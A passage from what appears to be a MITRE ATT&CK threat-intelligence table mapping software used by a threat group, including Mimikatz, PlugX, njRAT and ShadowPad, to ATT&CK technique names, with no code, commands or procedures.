S0002	Mimikatz	[2] [3]	Access Token Manipulation: SID-History Injection , Account Manipulation , Boot or Logon Autostart Execution: Security Support Provider , Credentials from Password Stores , Credentials from Password Stores: Credentials from Web Browsers , Credentials from Password Stores: Windows Credential Manager , OS Credential Dumping: DCSync , OS Credential Dumping: Security Account Manager , OS Credential Dumping: LSASS Memory , OS Credential Dumping: LSA Secrets , Rogue Domain Controller , Steal or Forge Authentication Certificates , Steal or Forge Kerberos Tickets: Golden Ticket , Steal or Forge Kerberos Tickets: Silver Ticket , Unsecured Credentials: Private Keys , Use Alternate Authentication Material: Pass the Hash , Use Alternate Authentication Material: Pass the Ticket
S1221	MOPSLED	[15]	Application Layer Protocol: Web Protocols , Deobfuscate/Decode Files or Information , Non-Application Layer Protocol , Obfuscated Files or Information: Encrypted/Encoded File , Web Service , Web Service: Dead Drop Resolver
S0039	Net	[2]	Account Discovery: Domain Account , Account Discovery: Local Account , Account Manipulation: Additional Local or Domain Groups , Create Account: Local Account , Create Account: Domain Account , Indicator Removal: Network Share Connection Removal , Network Share Discovery , Password Policy Discovery , Permission Groups Discovery: Domain Groups , Permission Groups Discovery: Local Groups , Remote Services: SMB/Windows Admin Shares , Remote System Discovery , System Network Connections Discovery , System Service Discovery , System Services: Service Execution , System Time Discovery

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ID	Name	References	Techniques
S0385	njRAT	^[2]	Application Layer Protocol: Web Protocols , Application Window Discovery , Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder , Command and Scripting Interpreter: PowerShell , Command and Scripting Interpreter: Windows Command Shell , Credentials from Password Stores: Credentials from Web Browsers , Data Encoding: Standard Encoding , Data from Local System , Disable or Modify System Firewall: Windows Host Firewall , Dynamic Resolution: Fast Flux DNS , Exfiltration Over C2 Channel , File and Directory Discovery , Indicator Removal: File Deletion , Indicator Removal: Clear Persistence , Ingress Tool Transfer , Input Capture: Keylogging , Modify Registry , Native API , Non-Standard Port , Obfuscated Files or Information: Encrypted/Encoded File , Obfuscated Files or Information: Compile After Delivery , Peripheral Device Discovery , Process Discovery , Query Registry , Remote Services: Remote Desktop Protocol , Remote System Discovery , Replication Through Removable Media , Screen Capture , System Information Discovery , System Owner/User Discovery , Video Capture
S0097	Ping	^[2] ^[3]	Remote System Discovery
S0013	PlugX	APT41 used a variant of PlugX to connect to Windows and Linux systems via SSH and Samba/CIFS. ^[1] ^[2]	Application Layer Protocol: Web Protocols , Application Layer Protocol: DNS , Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder , Command and Scripting Interpreter: Windows Command Shell , Create or Modify System Process: Windows Service , Data Staged: Local Data Staging , Debugger Evasion , Deobfuscate/Decode Files or Information , Disable or Modify System Firewall , Encrypted Channel: Symmetric Cryptography , Execution Guardrails: Mutual Exclusion , Exfiltration Over C2 Channel , File and Directory Discovery , Hide Artifacts: Hidden Files and Directories , Hide Artifacts: Hidden Window , Hijack Execution Flow: DLL , Indicator Removal: Clear Persistence , Indicator Removal: File Deletion , Ingress Tool Transfer , Input Capture: Keylogging , Local Storage Discovery , Masquerading: Masquerade Task or Service , Masquerading: Match Legitimate Resource Name or Location , Modify Registry , Native API , Network Share Discovery , Non-Application Layer Protocol , Non-Standard Port , Obfuscated Files or Information: Binary Padding , Obfuscated Files or Information: Dynamic API Resolution , Obfuscated Files or Information: Obfuscated Files or Information: Encrypted/Encoded File , Peripheral Device Discovery , Process Discovery , Query Registry , Reflective Code Loading , Replication Through Removable Media , Scheduled Task/Job: Scheduled Task , Screen Capture , System Information Discovery , System Location Discovery , System Network Configuration Discovery , System Network Connections Discovery , System Owner/User Discovery , System Time Discovery , Trusted Developer Utilities Proxy Execution: MSBuild , User Execution: Malicious File , Virtualization/Sandbox Evasion: System Checks , Web Service: Dead Drop Resolver
S0194	PowerSploit	^[2]	Access Token Manipulation , Account Discovery: Local Account , Audio Capture , Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder , Boot or Logon Autostart Execution: Security Support Provider , Command and Scripting Interpreter: PowerShell , Create or Modify System Process: Windows Service , Credentials from Password Stores: Windows Credential Manager , Data from Local System , Domain Trust Discovery , Hijack Execution Flow: Path Interception by PATH Environment Variable , Hijack Execution Flow: Path Interception by Unquoted Path , Hijack Execution Flow: DLL , Hijack Execution Flow: Path Interception by Search Order Hijacking , Input Capture: Keylogging , Obfuscated Files or Information: Indicator Removal from Tools , Obfuscated Files or Information: Command Obfuscation , OS Credential Dumping: LSASS Memory , Process Discovery , Process Injection: Dynamic-link Library Injection , Query Registry , Reflective Code Loading , Scheduled Task/Job: Scheduled Task , Screen Capture , Steal or Forge Kerberos Tickets: Kerberoasting , Unsecured Credentials: Credentials in Registry , Unsecured Credentials: Group Policy Preferences , Windows Management

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ID	Name	References	Techniques
S0596	ShadowPad	^[2] ^[16]	Application Layer Protocol: DNS , Application Layer Protocol: File Transfer Protocols , Application Layer Protocol: Web Protocols , Data Encoding: Non-Standard Encoding , Deobfuscate/Decode Files or Information , Dynamic Resolution: Domain Generation Algorithms , Indicator Removal , Ingress Tool Transfer , Local Storage Discovery , Modify Registry , Non-Application Layer Protocol , Obfuscated Files or Information: Fileless Storage , Obfuscated Files or Information , Process Discovery , Process Injection , Process Injection: Dynamic-link Library Injection , Scheduled Transfer , System Information Discovery , System Network Configuration Discovery , System Owner/User Discovery , System Time Discovery
S0225	sqlmap	^[8]	Exploit Public-Facing Application
S0430	Winnti for Linux	^[4]	Application Layer Protocol: Web Protocols , Deobfuscate/Decode Files or Information , Encrypted Channel: Symmetric Cryptography , Ingress Tool Transfer , Non-Application Layer Protocol , Obfuscated Files or Information: Encrypted/Encoded File , Rootkit , Traffic Signaling
S0412	ZxShell	^[2]	Access Token Manipulation: Create Process with Token , Application Layer Protocol: Web Protocols , Application Layer Protocol: File Transfer Protocols , Command and Scripting Interpreter: Windows Command Shell , Create Account: Local Account , Create or Modify System Process: Windows Service , Data from Local System , Disable or Modify System Firewall , Disable or Modify Tools , Disable or Modify Tools: Clear Windows Event Logs , Endpoint Denial of Service , Exploit Public-Facing Application , File and Directory Discovery , Indicator Removal: File Deletion , Ingress Tool Transfer , Input Capture: Credential API Hooking , Input Capture: Keylogging , Modify Registry , Native API , Network Service Discovery , Non-Standard Port , Process Discovery , Process Injection: Dynamic-link Library Injection , Proxy , Query Registry , Remote Services: VNC , Remote Services: Remote Desktop Protocol , Screen Capture , System Binary Proxy Execution: Rundll32 , System Information Discovery , System Owner/User Discovery , System Service Discovery , System Services: Service Execution , Video Capture

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